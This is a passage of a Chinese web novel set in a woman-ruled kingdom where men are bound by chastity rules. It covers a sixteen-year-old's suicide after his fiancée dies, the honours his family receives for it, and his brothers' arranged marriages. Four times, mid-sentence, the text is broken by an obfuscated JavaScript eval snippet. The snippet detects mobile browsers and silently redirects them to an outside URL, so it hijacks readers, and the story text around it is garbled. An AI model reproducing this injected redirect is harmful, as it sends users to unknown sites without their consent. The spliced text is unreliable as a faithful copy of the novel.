“也罢,如果不打算再给明郎找婆家,不妨干脆让他替樊二娘守个望门寡,那样传出去名声更好听。如果能守贞到五十岁,还能获得朝廷的旌表门闾,对蔺家大有益处。曦儿有这样一位堪称贞洁典范的兄长,说出去也脸面有光。” 梁宽有些于心不忍,“可是明郎才十六岁,要守贞到五十岁,得守上整整三十四年啊!他还那么年轻,会不会太残忍了?” “要么守望门寡,要么嫁去很难会善待自己的人家,二者选其一的话,你要选哪个?” 梁宽沉默片刻:“要不让明郎自己选吧,毕竟是他一辈子的事。” “行,晚上我回去后跟他说。” “家主,今晚就先别说了。出了这么大的事,好歹先让他缓上一缓。” 蔺东玉没有异议地点头:“也好,那就明天再说吧!” . 这天晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353498|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蔺明没有吃晚饭,说是身子不爽利躺在床上休息。 正房的厅堂里,蔺家其余五人坐在一起吃饭时,气氛格外沉重。每个人都是食不下咽的样子,包括平时吃什么都津津有味的小吃货蔺昀。 蔺昀做梦也没想到,自己睡个午觉的功夫居然出了这么大的事。 未来大嫂突然暴毙身亡,原本不到两个月就要出嫁的大哥被撂在半路上了。 午睡醒来得知此事后,蔺昀立即拿出自己积攒的零用钱,让仆人外出买蔺明最爱吃的糖酪樱桃。 酸酸甜甜冰冰凉凉的糖酪樱桃贵得要死,像蔺家这样的小富之家平时也轻易舍不得买来吃。 可是这天蔺昀不惜血本买回的一大碗糖酪樱桃送到蔺明面前,他却连看都不看一眼。 “大哥,你就吃一点吧!心情不好的时候吃点好吃的,就能好起来的。” 蔺昭也帮腔道:“是呀大哥,你吃一点吧,吃甜食更能让心情愉悦。” 蔺明神情苦涩地摇了一下头,“现在就是让我吃龙肝凤胆,我的心情也好不起来了。你们两个吃了吧,别浪费了这么贵的东西。” 尽管两个弟弟劝了又劝,可那碗糖酪樱桃蔺明到底是一口也没有吃。 . 一边吃着饭,蔺曦一边难以置信地慨叹起来。 “娘,上个月我陪您一起去樊记布庄买布时还见到了樊家二姐姐,她当时身子康健的很,怎么会一场急病就过去了呢?” 蔺东玉亦是一声长叹:“是啊,好端端的一个人,谁能料到会突然中暑而死。唉,都是命啊!” 梁宽眼圈一红地哽咽道:“咱们明郎的命怎么就这么苦啊?” 蔺昭觉得有件事自己必须说出来。 “娘,爹,下午我守在大哥身边劝他时,他说什么一夫事一妇,安可再移天。我问他是不是打算给樊二娘守望门寡,他没有否认呢。” 蔺东玉脸上是一种意料之外又情理之中的神色。 “原来明郎也是这么想的。” 蔺昭听这话风不对,什么叫也是这么想的? 难道蔺东玉有同样的想法吗?如果这样的话,那蔺明这个望门寡就要守定了,下半辈子算是彻底玩完了。 蔺曦也听出来了,“娘,您也是作此打算,想让大哥为樊二娘守望门寡吗?” “曦儿,你是家里唯一的读书人,你来说说看,你大哥这种情况该怎么办?” “很多书里都写了,男子应从一而终,妻死守节,誓不再嫁,再嫁则伤风败俗。虽然大哥还没嫁进樊家,但订了婚就是樊二娘的未婚夫,为她守望门寡也合情合理,亦不失为美谈一桩。” 作为九岁就能背很多书的早慧儿童蔺曦,很快从自己学过的知识中找到了标准答案。 蔺东玉听得频频点头:“曦儿说得好,有理有据。未婚妻死了,男子就该为她守望门寡,方是遵守夫道保持贞洁的体现。” 蔺昭:“……” 原本他还想让蔺东玉劝说蔺明打消自己往火坑里跳的傻念头,没承想她却打算亲手把他推进去。而且蔺曦还将此事定性为美谈一桩,他还能说什么呢? 蔺昭只能在心底破口大骂:去你奶奶个熊!守你大爷的望门寡!不行,我一定要想办法劝大哥打消这个糊涂念头不可。 8. 贞男 晚饭后,蔺昭和蔺昀一起离开正堂,并肩走向蔺明住的屋子。 “二哥,待会见了大哥,你先别把娘也打算让他守望门寡的事告诉他。” 蔺昭的意思蔺昀一听就懂了,“三弟,你是想再好好劝劝大哥对吧?” “对,守上一辈子的寡可不是件容易的事,我觉得大哥不能这么草率地下决定,必须要好好考虑清楚。如果知道娘支持他这么做,那他的想法只会更加坚定了。” “但娘和四妹都觉得大哥应该守这个望门寡呢。三弟,你也知道了,家里的事只要她们认定了就改不了。就算你能说动大哥改变心思,可娘还是坚持让他守寡的话,他也只能答应,到那时心不甘情不愿的日子只会更难熬。” 蔺昀的顾虑也有道理,蔺昭左右为难地叹了一口气。 “那怎么办啊?” “三弟,我看咱们也别劝了,一切就这样吧!这都是大哥的命,命不好也只有认了,不然还能怎么着呢?毕竟身为男子为妻守节天经地义。” 蔺昭很想大吼一声:不是这样的,这种狗屁观念是不合理的。 可是他的嘴唇翕动了一下,却什么声音都没有发出来。 在坤乾国说这么不合时宜的话,被别人听见了他准没好果子吃。蔺东玉会头一个打他的手板心不可。 . 交谈中,二人已经来到了蔺明的房门口。 蔺昀敲敲门道:“大哥,你醒了吗?要不要起来吃点东西?厨房有清凉解暑的绿豆汤,我给你端一碗过来吧?” 屋里鸦雀无声,无人回应,蔺明像是已经不存在了似的。 蔺昭伸手试着推了一下房门,门应声而开。 一双悬在半空中的脚蓦地跃入眼帘,上面覆着半幅大红喜袍的下摆。下摆上繁复精美的双飞燕花纹,就是蔺明亲手一针一线绣上去的。 那一瞬,蔺昭的瞳孔瞬间紧缩,不由自主地失声惨叫起来。 “啊……” “啊……” 蔺昀和蔺昭一样迸出惨叫,兄弟俩一个赛一个地叫得凄厉悲惨。 “怎么了,出什么事了?” 正屋那边,蔺东玉听到动静不对跑出来,梁宽和蔺曦紧随其后。三人赶到蔺明的房门前,一起惊恐无比地瞪圆了双眼。 “天啊,明郎你怎么寻了短见啊!” 之前蔺明没来吃晚饭,托辞说身子不爽利在房里休息,大家都没多想。谁知他却在这段独处的短暂光阴中,换上自己亲手绣好的嫁衣,选择了悬梁自尽。 梁宽惊呼着瘫倒在地,泪流满面。蔺曦吓得花容失色,步两个哥哥的后尘惨叫不已。 蔺东玉尚能强自镇定,冲进屋一把抱住蔺明的双脚,大声喊道:“来人啊,快救人。” 男仆协助蔺东玉把蔺明从屋梁上解下来时,他的身体犹有未温,但人已经气息全无。桌子上放着一张绝笔书,上面端端正正地写着一行字——“生虽未获见妻面,死愿相随于地下”。 蔺家三兄弟没有上过学堂,除了蔺昭因为有欧阳斌的记忆不是睁眼瞎,蔺明和蔺昀原本都不识字。 不过去年跟着贺阿翁学规矩的时候,他教会三个学生认识了一些字,主要是为了让他们反复抄写相关的男子品德要求。 譬如“守身为男子第一义”;譬如“男子可贫可贱,可死可亡,而身不可辱”;譬如“夫为妻死,古之大经”等等等等,进行不断重复的洗脑操作。 蔺明不幸沦为洗脑成功的牺牲品。年仅十六岁的少年,毅然决定自杀以殉未婚妻,哪怕他甚至都没有见过她一面。 樊二娘病死于未正三刻,蔺明于戌初一刻被发现自缢,距离她的死还不到三个时辰。 . 蔺明之死在阳县引起了不小的轰动。下至民间百姓上至地方官员,都对此事予以高度称赞。 按照坤乾国的《褒扬条例》,蔺明作为“男子节烈贞操可以风世者”的表率,被官府认定为“贞男”,成功申报了朝廷旌表。 蔺家因此得到了一块“贞烈可风”的牌匾,以及赋税方面的优待,以示大力表彰褒扬。 所谓的朝廷旌表,说白了就是朝廷表彰那些“感动坤乾国”的人物,旌表对象主要是忠臣义士、孝女顺孙、节夫烈男。 “贞男”这一荣誉称号,以往只颁给为未婚妻守望门寡到50岁以上的男子。但是蔺明直接以死殉节的行为,让他成为了一个例外。 蔺家作为商贾人家,又不过只是小康而已,在阳县原本声名不显、地位不高,而蔺明的死却让蔺家出了名,一时风头无二。 “你们听说了吗?近日阳县有一位年仅十六岁的少年郎,在未婚妻急病身亡后自杀相殉,得到了‘贞男’的朝廷旌表。” “当然听说了,这可是时下最轰动的事。这位贞男姓蔺,娘是一家茶庄的老板。话说这位蔺贞男端的是贞节可嘉,以往未婚妻去世,尚未过门的男子愿意为她守望门寡就很了不起了,他却选择为她殉节而死,真是让人肃然起敬啊!” “居然是商贾人家的儿郎,我还以为是书香门第教养出来的贞洁男儿呢,真是没想到。” “可不是嘛,一个商贾人家居然能养出这样三贞九烈的儿郎,那蔺家的家风看来是相当不错。” “是啊,蔺家出了这么一位贞男,家风可想而知有多么清正优良。蔺贞男还有两个弟弟,如今可是不少人家争相求娶的对象呢。” “我听说,今儿连万安胡氏的胡官人都去蔺家提亲了。” . 万安胡氏是阳县有名的书香门第,世代居住于万安巷。 现任家主胡良英中过进士,当过翰林,不惑之年后辞官返乡,是当地的社会名流。她亲自登门来蔺家求亲时,蔺东玉都很是受宠若惊。 蔺明的后事已经与樊二娘的后事一起办了,他俩生前虽然没能成功缔结良缘,死后却以妻子和丈夫的名义一同合葬。 丧事办完后,蔺家的门槛就快要被媒人踏破了。每天都有人上门求亲,蔺东玉一来没心情;二来也不着急,反正如今蔺家儿郎百家求,她大可以慢慢挑选了。 不过胡良英亲自上门求亲就不一样了,这位前翰林是蔺东玉平时想巴结都巴结不上的对象,如今却冲着她笑得和气有加。 “蔺夫人,蔺家的家风好,儿郎们品行佳,胡某很是敬仰。不知胡某有没有福气娶到你家二郎当填房呢?” 胡良英今年四十五,原配丈夫前几年病故了,一直没有续弦,只是纳了两个夫侍。她膝下有一女一子,长女的年纪比蔺昀还要大上好几岁,已经成亲生子。 胡良英这把年纪以及拖儿带女的个人条件,如果只是一个普通人蔺东玉绝对不会考虑。找一个比自己岁数还要大的儿媳妇,开哪门子玩笑呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353499|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但胡良英可是万安胡氏的家主,阳县有头有脸的大人物,这一个强项就足以让蔺东玉忽略其他所有短板。 以往她连跪舔都够不着的社会名流,如今主动登门求娶她的次子,她想也不想地就如捣蒜般直点头。 “胡官人,您能看中我家二郎,是他有福气才对呀!” 在坤乾国,只有做官的人才能被称为官人,平头百姓根本没有这个资格。 蔺家作为商贾人家,能和前翰林攀上正儿八经的姻亲,这在世人眼中可是典型的高攀。以蔺昀这种商户之子的出身,原本只能嫁去胡家做夫侍的。 蔺东玉与胡良英一拍即合,二人很快就把这桩婚事说定了,约好一个黄道吉日下定,婚期初步定在明年春季。 “胡官人,二郎明冬才满十五岁呢,会不会急了一点?” “岳母大人,胡家眼下缺一位当家主夫主持中馈,所以我才想让二郎早点过门,还望岳母大人成全。” 胡良英一句“岳母大人”,听得蔺东玉眉开眼笑:“好好好,就依贤媳了。” . 胡良英登门时,梁宽按照规矩不能见外女,只能由蔺东玉在正堂招呼客人,他在里屋伸长耳朵旁听。 等到胡良英告辞离去后,梁宽才走出里屋,蔺东玉满脸喜色地对他说:“你都听见了吧?昀郎以后就是胡官人的填房老爷了。” 梁宽勉强一笑道:“听见了,恭喜家主,成了胡官人的岳母大人。” “可不是嘛,真想不到我这辈子还有给官人当岳母的一天。明郎这一死,不但自己死得其所,还让蔺家都与有荣焉,也算是死得有价值了。” 蔺明刚死的时候,蔺东玉也很难过。 毕竟这是她的第一个孩子,一直以来都很是疼爱。好不容易养到这么大突然就死了,白发人送黑发人的悲痛难当,让她也落了不少泪。 不过,当蔺明之死为蔺家挣到了前所未有的荣耀时,蔺东玉的悲伤就被渐渐稀释了。虽然失去了儿子,但是蔺家却因此名利双收。 作为蔺贞男的母亲,蔺东玉如今无论走到哪儿都倍受尊敬,这份尊敬在她身为普通小商人时是绝对无法获得的。 而且蔺家还在田租赋税方面得到了优待,相比贞男之母的虚名,这个可是切切实实的利益所在。更重要的是,有着这么一位荣获了朝廷旌表的贞男哥哥,对蔺曦今后的仕途大有裨益。 既有名又有利,更有不少好人家慕名而来求娶蔺家儿郎,这些好处都让蔺东玉的丧子之痛得到了极大的缓解。 而今日胡良英亲自登门提亲一事,更是让她无法不喜笑颜开。她虽然是一介商贾,但阳县赫赫有名的胡官人将成为她的儿媳妇,这说出去多有面子啊! 梁宽眼圈一红:“家主,我真希望明郎还活着,如果他还活着就比什么都要强了。” 蔺东玉觉得扫兴,脸一板道: “人死不能复生,你再说这些话有意义吗?有道是人终有一死,或重于泰山或轻于鸿毛。明郎是为了贞节大义慷慨赴死,这可是青史留名的事,典型的重于泰山。咱们为母为父者应该为他骄傲才是,没什么可难过的?” 梁宽一向看蔺东玉的眉眼高低行事,见她神色不悦了,赶紧拭泪道:“家主说得是,是我见识短浅了,还望家主勿怪。” “你去见昀郎,把这桩婚事告诉他,让他开始备嫁吧!” 9. 福分 自打出了蔺明这么一位了不起的贞男,近期蔺家每天都客似云来。 亲戚朋友来关爱的;地方官员来慰问的;文人骚客来称颂的;还有不少上门提亲的媒公。 诸多来客进进出出,而女男大防不可不防。所以蔺东玉给蔺昀和蔺昭兄弟俩下了死命令,未经允许不准出屋一步,只能在房间里呆着。 “明郎的死让整个阳县都在夸我们蔺家家风正,你们这个时候绝对不能有任何行差踏错,否则就是给他用性命挣来的好名声抹黑,知道吗?” 蔺昀和蔺昭双双低头道:“知道了。” 兄弟俩呆在一间屋子里做伴,一再追忆蔺明在世时的点点滴滴,脸上的泪水湿了又干,干了又湿。 对于长兄的死他们都非常难过,毕竟三兄弟从小一起长大,感情非常亲密。 “真没想到大哥就这么没了,要是早知道他会寻短见,我们当时一直陪着他就好了。” 蔺昀后悔莫及,蔺昭也悔不当初。 “原来大哥那天说‘一夫事一妇,安可再移天’这句话的时候,并不是要给樊二娘守望门寡的意思,而是决心要自杀殉她。可我当时怎么也想不到他是这种想法啊!” 猜测蔺明可能有给樊二娘守望门寡的打算时,蔺昭都觉得这一想法很离谱了。万万没想到,事情的发展比他想像中更加离谱,蔺明居然选择自杀殉了未婚妻。 蔺明的死,让蔺昭既悲痛万分又震骇难当。封建礼教真是杀人不用刀啊!可怜的大哥就这样沦为了牺牲品。 而接下来的后续更加魔幻,年仅十六岁的蔺明殉妻死节后,荣获了朝廷旌表,蔺家因此名声大噪。既有官府赐予牌匾褒扬,又有减免田租赋税的优待政策,还引来了不少媒人争相上门提亲。 那些媒人们都像统一了口径似的,不约而同地说着同样的话。 “蔺夫人,您能教出蔺贞男那样了不起的儿郎,那么贵府的二郎三郎肯定也不会差。” . 媒公来来去去,蔺昀和蔺昭都看在眼里,知道这些人将会决定他们未来的命运。 “三弟,每天这么多媒人登门,也不知道娘会答应他们当中的哪两个,把咱们的婚事给定下来。看见大哥这样,我都不想订亲了。” “我也是。” 蔺昭同样一点也不想订亲,只要订了亲他就是某个女人的未婚夫,万一那个女人有个什么三长两短,他这辈子就相当于Game over了。 有蔺明这位一位珠玉在前的贞男兄长,他就算不用效仿他自杀殉妻,守上一辈子的寡也是在所难免。 “可是娘肯定不会答应的,也许这会儿她已经在盘算要答应哪个媒人了。三弟,你想过要找个什么样的妻子吗?” “我没想过呢,二哥你呢?” “我希望她能脾气好一点,不是那种凶巴巴的女人,不会随便动手打人。听爹说,他有一位表兄就是嫁了一个脾气暴躁的妻子,动不动就对他非打即骂,好可怜的。” 坤乾国的水土更适合女性,女人虽然看似并不强壮,但力气却天生比男子大。一般情况下,男人是打不过女人的。要是嫁了一个脾气不好的妻子,挨打就成了家常便饭。 蔺昭深以为然:家暴分子确实要躲远一点,身为弱男子摊上暴力妻,肯定要倒大霉不可。 兄弟俩正交谈着,忽然听到窗外传来男仆的大声禀报:“夫人,万安胡氏的胡官人来访。” . 万安胡氏在阳县知名度很高,蔺昭和蔺昀都听说过胡良英这位社会名流。 兄弟俩下意识地一起凑到窗前朝外张望。隔着薄薄一层窗纱,他们能看见外头站在阳光下的人,外头却看不见屋里的情形。 窗外那个正穿过天井走向正房的中年女人,有着一具上了年纪后开始发福的富态身材,一张脸也格外圆润,又生得慈眉善目,看起来有点像弥陀佛。 “这位就是胡家家主的胡官人啊,面相看起来好和善呢,一点也不盛气凌人。” 蔺昀对胡良英的第一印象很不错,蔺昭一边点头表示认同,一边不解地道:“奇怪,她来做什么?不可能是来提亲的,她女儿听说已经成亲了。” “或许也是来慰问娘的吧。” 胡良英到底是来干什么的,这个问题的答案在半个时辰后由梁宽来揭晓了。 蔺昭差点不敢相信自己的耳朵,冲口而出道:“什么?娘要把二哥嫁给胡官人。有没有搞错?她年纪比他大了那么多,二哥甚至比她的女儿还要小上好几岁吧?” “招妹你闭嘴,你娘做出的决定还轮不到你来置喙。” “可是……” “没什么可是的,这桩婚事已经定下了,你说再多也没用,被你娘听见了没你的好果子吃。” 蔺昭只能乖乖闭嘴了,就算心里有一万匹草泥马呼啸而过,嘴里也不敢再多说半个字。 “昀郎,你娘为你订的这门婚事其实相当不错。虽然胡官人的年纪是大了一点,但年纪大的女人更懂得疼男人。况且万安胡氏是什么样的人家,你也是清楚的。像你这样的商贾之子能嫁给她当填房老爷,那属实是高攀了。要不是明郎用命为蔺家换来了贞男的牌匾与荣耀,你根本就没有这样的机会。总之能明媒正娶地嫁进万安胡氏是你八辈子修来的福分,你要惜福知道吗?” 蔺昀听得眸中泪光一闪,“爹,我知道了。儿子的婚事任凭娘作主,我绝无二话。” . 梁宽走后,蔺昭一把拉住蔺昀的手劈头就问:“二哥,你真的愿意嫁给那个年纪比你大那么多的胡官人吗?” 蔺昀反问道:“三弟,你说我有的选吗?” 蔺昭哑口无言:“……” “无论我愿不愿意,娘都已经定下了这门亲事,身为儿子我也不可能忤逆她的。” 看着蔺昀一副逆来顺受的样子,蔺昭忍不住想多说几句。 “可是你如果实在不愿意,至少可以去找娘哭诉一番,或许能让她改变心意呢?毕竟胡官人比你大了几十岁,说句不好听的,要是万一嫁过去不到一年半载她就翘了辫子,你可要守上一辈子的寡。” 蔺昀已经把自己的处境捋得一清二楚。在根本没有选择权的情况下,母亲安排的这门婚事他只能接受,也很快就想开了。 “算了吧,娘决定了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353500|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事是不会轻易改变的,像万安胡氏这样的亲家她根本不可能拒绝。虽然胡官人年纪比我大不少,但是她的面相很和善,也从传出做过什么仗势欺人的事,脾气应该很好。” “三弟你知道的,我就想嫁一个脾气好的女人,这方面胡官人很合适。至于婚后她可能会撇下我先走这种可能性,换成其他人也一样。就算是我嫁了一个年纪相仿的妻子,只要她有个什么意外走在我前面,我也还是要守寡的,否则就是伤风败俗不是吗?” 蔺昭无法反驳,蔺昀又接着往下说。 “既然如此嫁给谁都一样,年纪大小也就没区别了。况且爹说年纪大的女人更懂得疼男人,我嫁给胡官人做小丈夫,没准比嫁给那些年少气盛的少年妻子更好过日子呢。” “二哥,你真是这么想的吗?” “是啊,有道是男怕嫁错妻,这世道咱们男人的命是好是坏,完全取决于嫁个什么样的妻子。我就希望能找一个脾气好的女人过日子。况且胡官人年纪大也有年纪大的好处,她这把岁数已经不会再生了,我也就不用再受那怀卵五月的苦。当初爹怀着你和四妹时吃了什么苦头,我都看在眼里,一直很怕自己将来也要受这个罪。现在好了,嫁给胡官人这些罪都能省了。” 坤乾国孕育后代由女子和男子接力完成。 女子怀孕五个月后会产下一个肉卵,由男子负责将肉卵放在育子囊中孵化。这个过程也需要五个月,会导致他们的身体产生种种不适。 蔺昭不得不承认这一点。 “要这么说的话,胡官人不能再生这方面还真是一大好处。就是她这个岁数肯定会比你早死很多年,到时候你连个一男半女都没有,守寡的日子会更难熬的。” “没关系,要我去受那个孕育后代的罪,我宁愿一个人过清静日子。而且在胡家守寡肯定能衣食无忧,只要每天能有好吃的,其他的我都无所谓了。” 蔺昀这个小吃货,在十四岁的年纪还根本不懂什么情情爱爱,自然也就不求嫁一个情投意合的少年妻子。 对于他来说,只要妻子是个和善人,不是家暴分子,年纪大一点也没关系,会早早死在他前头让他守寡也没关系,只要短不了他的吃喝就行。 蔺昭叹口气道:“二哥,你现在这么想,到时候就未必了,守寡的日子可没你想得那么容易。” “三弟,其实我也知道守寡不容易。但身为男子,只要妻子先死就必须为她守寡。无论婆家还是娘家都不会允许他再嫁人,那样会让门楣蒙羞。” 蔺昭也清楚这一点,在坤乾国,守寡是男人的义务,成为男子忠于亡妻的一种表现,彰显他们的贞节美德。如果再嫁就会被视为不贞,遭受全社会的鄙视。 坤乾国的男人从小接受贞节教育,被洗脑得很彻底,认为这么做天经地义。 只有蔺昭强烈不认同:这是对男性的迫害,严重的迫害。 在男尊女卑的国度,女性作为男性的附属品要遭受迫害;在女尊男卑的国度,男性只能依附女性生存,同样要遭受有过之而无不及的迫害。 只要有一方占据了压倒性的绝对优势,另一方就会沦为被迫害的对象。 10. 宿命 蔺昀与胡良英的婚事敲定后,蔺昭的婚事也很快有了眉目。 阳县的县尉詹瑜托人上门提亲,想为自家小女儿詹蕙求娶蔺昭。 詹瑜有三个女儿,长女詹葵继承她的衣钵在阳县县衙当捕快;次女詹苓则一心读书走科举之路;小女儿詹蕙生来体弱多病,文也不行武也不行,就养在家里当富贵闲人。 因为詹蕙体弱多病,詹瑜想在阳县为她找个门当户对的夫婿难度系数很高,只能往下低娶才行。 但是这个低又不能太低了,否则对詹家来说可不太体面。 为了小女儿的婚事,詹瑜一直在四处留意人选,却始终没能找到合适的。 直到这天从京城公干归来,听说县里出了一位贞烈可风的蔺贞男,他的两个弟弟也因此成为不少人家争相提亲的香饽饽。 詹瑜觉得蔺家儿郎就是他理想的三女婿人选,雷厉风行地找来媒公,让他立即去蔺家求亲。 “詹县尉,蔺家二郎已经跟万安胡氏的胡官人定了亲,眼下只有十一岁的三郎了。他年纪尚小,要等上好几年才能出嫁呢。” “没关系,等就等呗,反正蕙娘也才十六,等到双十年华再成亲也行。” 媒公带着厚礼来到蔺家提亲时,蔺东玉对这门婚事自然是中意的。 詹瑜可是阳县的地方官员之一,地位仅次于县令与县丞,能跟他成为亲家也是妥妥的高攀。 “好啊,我家三郎和詹家三娘,两个都排行第三,看来是命中注定的天生一对呢。” 蔺东玉送走媒公后,梁宽从里屋走出来,第一件事就是凑趣地向她道喜:“恭喜家主,又结了一门好亲事。” “是啊,昀郎能嫁入书香门第的万安胡氏,招妹又被詹县尉相中要聘为三女婿。咱们有了这两个亲家,文也行的武也行的,日后曦儿的仕途何愁没人帮衬呢。” 蔺东玉为两个儿子议亲就一个标准,能否对女儿蔺曦的未来有好处,就这方面来说她完全达到目的了。至于儿子们能否从婚事中获得幸福,对她来说不是重要的事。 在蔺东玉看来,家里以后靠要女儿撑起门户,儿子为此做出任何牺牲都是应该的。况且她又没把他们嫁去贫寒之家,也就不觉得有什么对不起他们的。 . 梁宽再一次奉妻命,去向蔺昭交代已经为他议亲的事。 看见爹走进房间,蔺昭和蔺昀兄弟俩都有所明了。 刚才有媒公带着厚礼登门提亲,正屋里头的对话虽然听不清,但笑声却时不时传过来。显然双方谈得很合拍,婚事十有八九是议定了。 “爹,娘是不是也为三弟选好婆家了?” “没错,招妹,刚才是詹县尉请媒人上门提亲,想替他家十六岁的三娘聘你为夫,你娘已经答应了,等你大上几岁再成亲。” 县尉詹瑜的大名,蔺昭也是听说过的。 这位相当于阳县的公安局长,主管治安与捕盗等工作,是个有名的铁腕人物,不少人畏他如猛虎。 蔺昀满脸担忧地问:“爹,听说詹县尉人很凶的,她在家会不会打人啊?” “别胡说,詹县尉是负责抓坏人的,不会随便打好人。” “不会就好,否则三弟这小身板可经不起她打呢。” 蔺昭却另有关注点,“爹,詹县尉怎么不替女儿找个门当户对的女婿,而要屈就我们这样的商贾人家,该不会是这位詹三娘有什么不妥吧?” “詹三娘没什么不妥,就是打小体弱多病,只能在家养着,不能读书入仕。门当户对的人家嫁儿子找媳妇,也是想要夫凭妻贵的,这方面没前途自然不愿意。” 梁宽有意轻描淡写,但蔺昭已经提炼出了重点所在,直接点明道: “这些还是其次,最重要的是她体弱多病可能导致早死,担心自家儿子嫁过去很快就会守寡吧?” “招妹,你……” 梁宽没想到小小年纪的蔺昭居然能这样一针见血,他沉默片刻后才叹息道: “你这话可千万虽让你娘听见,否则她饶不了你。还有你以后管好自己的嘴,如果嫁到詹家还敢这样乱说话,小心嘴巴都被人撕烂。” 蔺昭一时意气用事,嘴快说了不该说的话,自己也知道对自己没好处,咬着下唇不再吭声。 “昀郎,招妹,其实爹也知道,这两桩婚事对你们都不算什么美满姻缘,可婚姻大事你们只能任凭娘做主。身为男子,在家从母、出嫁从妻、妻死从女,一生都要顺从女人的安排,这就是咱们的宿命。” 苦心教诲给蔺昭上了一堂“男子必须温良和顺”的教育课后,梁宽被蔺东玉叫走了,说是肩膀酸痛要他过去捏一捏。 . 屋里剩下蔺昭和蔺昀兄弟俩,他苦笑着叹了一口气。 “二哥,咱们的婚事都定了。虽然你的未婚妻比你大上几十岁,我的未婚妻和我年纪差不了多少,但是咱俩谁先当上寡夫只怕还说不定呢。” “三弟,我昨天就说了,哪怕是找了一个年纪差不多的妻子,只要她有个三长两短也照样是要守寡的。就像爹说的,这就是咱们男人的命。” “詹三娘这个体弱多病也不知到底病弱到了什么程度,如果她在成亲前一命呜呼了,那我岂不是也要替她守望门寡?” “三弟,其实有时候想一想,如果横竖都是要守寡的话,或许留在娘家守上一辈子的望门寡,日子可能还会更好过一点吧?” 蔺昭琢磨了一下还真是如此。 既然坤乾国对男人这么不友好,他与其嫁给一个病歪歪的女人,又要为她养育后代,又要替她伺候公婆,真不如守个望门寡一辈子呆在娘家更好。 “二哥,你说得没错,综合对比一下,守望门寡最是利多弊少呢。” 守望门寡虽然是很不人道的一件事,但对于蔺昭来说,却是他眼下的最优解方案。 一动不如一静,留在娘家守节也是为家族争光的事。 蔺东玉不会薄待他,以后蔺曦当上家主也照样会善待他的,绝对好过嫁去詹家看别人的脸色过日子。 蔺昀冲着蔺昭“嘘”了一声:“你小声点,别被人听见了。两个刚订亲的儿郎,还没出嫁就先谈守寡,传到娘耳朵里肯定要打手板心不可。” 蔺昭下意识地捂住自己的嘴:死嘴——以后说话要当心一点,小声一点,别给我找麻烦知道吗? . 仲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353501|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋八月,秋闱将至,蔺东玉陪着蔺曦前往京城,在中书后省参加童子科的考试。 童子科要考的经书内容,蔺曦原本都背得滚瓜烂熟。 但是亲眼目睹了蔺明上吊自杀的一幕,让她受到了不小的惊吓,整整三天高烧不退,病好后记忆力就不如从前了。 从前蔺曦读书可以过目不忘,如今却要反反复复地背诵才能记住。 尽管童子科考的就是一个死记硬背,只要她能当场背出那些经书都能过关了。可她的临场发挥却不好,因为不可避免的感到紧张。 任何人想在考场考出好成绩,心理素质都是至关重要的一环。 如果心理素质不行,容易产生紧张焦虑不安,就会影响正常发挥,导致成绩不理想。 蔺曦站在考官前背书时,紧张得口齿不清,结结巴巴,越背越卡壳。 最后脑子一片空白,原本背得滚瓜烂熟的内容全部忘个精光,干脆哇的一声大哭起来。 考官对此一脸的见惯不怪,童子科毕竟都是十岁以下的孩子,背不出书急哭了的大有人在。 “没事的,蔺小娘子已经背了很多内容,算是很不错了。” 安慰了蔺曦几句后,考官命人把她送出考场。 蔺东玉就等在大门外,满脸都是望女成凤的希冀神色。她打心底巴望着女儿能一举成功夺得魁首,直接授予官职。 见到蔺曦哭哭啼啼地走出来,蔺东玉不用问就知道自己的梦想破灭了。 虽然倍感失望,但她一句重话都舍不得说宝贝女儿,还要百般安慰她。 “没事的,咱们曦儿年纪还小呢,进了考场一时紧张发挥不好也是难免的。只要你继续用功读书,以后高中进士一定不是问题。” 蔺曦抽抽噎噎地道: “娘,要是大哥没死就好了,那样我一定能考上。本来这些经书我都已经背得很熟了,可是一紧张就害怕,一害怕就什么都忘光了。大哥活着的时候,我从来没有紧张害怕过,自从亲眼看见他吊死的一幕,我……我……” 